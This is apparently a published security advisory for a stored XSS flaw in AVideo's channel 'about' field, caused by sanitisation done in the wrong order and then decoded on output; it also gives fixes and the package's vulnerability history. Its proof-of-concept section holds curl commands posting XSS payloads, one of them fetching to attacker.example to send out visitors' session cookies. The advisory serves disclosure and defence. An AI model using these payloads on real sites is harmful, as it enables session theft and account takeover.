AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field
Summary
A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The xss_esc() function entity-encodes input before strip_specific_tags() can match dangerous HTML tags, and html_entity_decode() on output reverses the encoding, restoring the raw malicious HTML.
Details
Input sanitization in objects/user.php:156:
public function setAbout($about)
{
$this->about = strip_specific_tags(xss_esc($about));
}
The call order is strip_specific_tags(xss_esc($about)). The inner xss_esc() function (objects/functionsSecurity.php:233) calls htmlspecialchars():
$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
This encodes <script>alert(1)</script> to <script>alert(1)</script>.
Then strip_specific_tags() (objects/functions.php:6623-6636) runs regex patterns to remove dangerous tags:
$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\/' . $tag . '>/s', $replacement, $string);
But the regex looks for literal <script> — it can never match the entity-encoded <script>. The sanitizer is completely neutralized by the encoding that precedes it.
Output in view/channelBody.php:239-246:
$about = html_entity_decode($user->getAbout());
if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) {
echo $about;
} else {
?>
<div id="aboutAreaPreContent">
<div id="aboutAreaContent">
<?php echo $about; ?>
</div>
</div>
The html_entity_decode() call reverses the htmlspecialchars() encoding, restoring the original raw HTML including <script> tags. The result is echoed directly into the page without any further escaping.
Secondary vector: The <img> tag is not in the strip_specific_tags blocklist (['script', 'style', 'iframe', 'object', 'applet', 'link']), so payloads like <img src=x onerror=...> bypass even the intended tag stripping entirely.
The about field is set via objects/userUpdate.json.php:28, accessible to any logged-in user:
$user->setAbout($_POST['about']);
The channel page (view/channelBody.php) is publicly accessible — no authentication is required to view it.
PoC
Step 1: Log in as any registered user and update the "about" field:
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
-H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
-d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='
Step 2: Any user (including unauthenticated visitors) navigates to the attacker's channel page:
https://TARGET/channel/attacker
Expected result: The JavaScript in the onerror handler executes in the visitor's browser, displaying their session cookie.
Alternative payload using <script> tag (also works due to the sanitization bypass):
curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
-H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
-d 'about=<script>fetch("https://attacker.example/steal?c="%2Bdocument.cookie)</script>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='
Impact
- Session hijacking: Attacker can steal session cookies of any user (including administrators) who visits their channel page
- Account takeover: Stolen admin session tokens allow full administrative access to the AVideo instance
- Phishing: Attacker can inject fake login forms or redirect users to malicious sites
- Worm potential: Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm
This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.
Recommended Fix
Option 1 (Recommended — remove html_entity_decode): The entity-encoded string is already safe for display. Remove the decode call in view/channelBody.php:
// Before (VULNERABLE):
$about = html_entity_decode($user->getAbout());
// After (FIXED):
$about = $user->getAbout();
Option 2 (If rich HTML is intended): Reverse the sanitization order in objects/user.php:156 and use a proper sanitizer:
// Before (VULNERABLE):
$this->about = strip_specific_tags(xss_esc($about));
// After (FIXED — strip tags on raw HTML first, then encode):
$this->about = xss_esc(strip_specific_tags($about));
Option 3 (Best — if rich HTML in about is desired): Replace both strip_specific_tags() and xss_esc() with HTMLPurifier, which properly handles allowlisted HTML sanitization:
require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');
$purifier = new HTMLPurifier($config);
$this->about = $purifier->purify($about);
And on output, remove html_entity_decode() — output the purified HTML directly.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | wwbn/avideo | <= 26.0 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
wwbn/avideo- Disclosed
- 25.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-ghx5-7jjg-q2j7 - CC BY 4.0
Vulnerability history: wwbn/avideo
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 160
- First → latest
- 04.2022 06.2026
- Without a fix
- 143
- Exploited in attacks
- 0
Severity breakdown
- Critical 14
- High 61
- Medium 83
- Low 2
Disclosures per year
- 2022: 2
- 2023: 5
- 2024: 5
- 2025: 0
- 2026: 148
-
AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.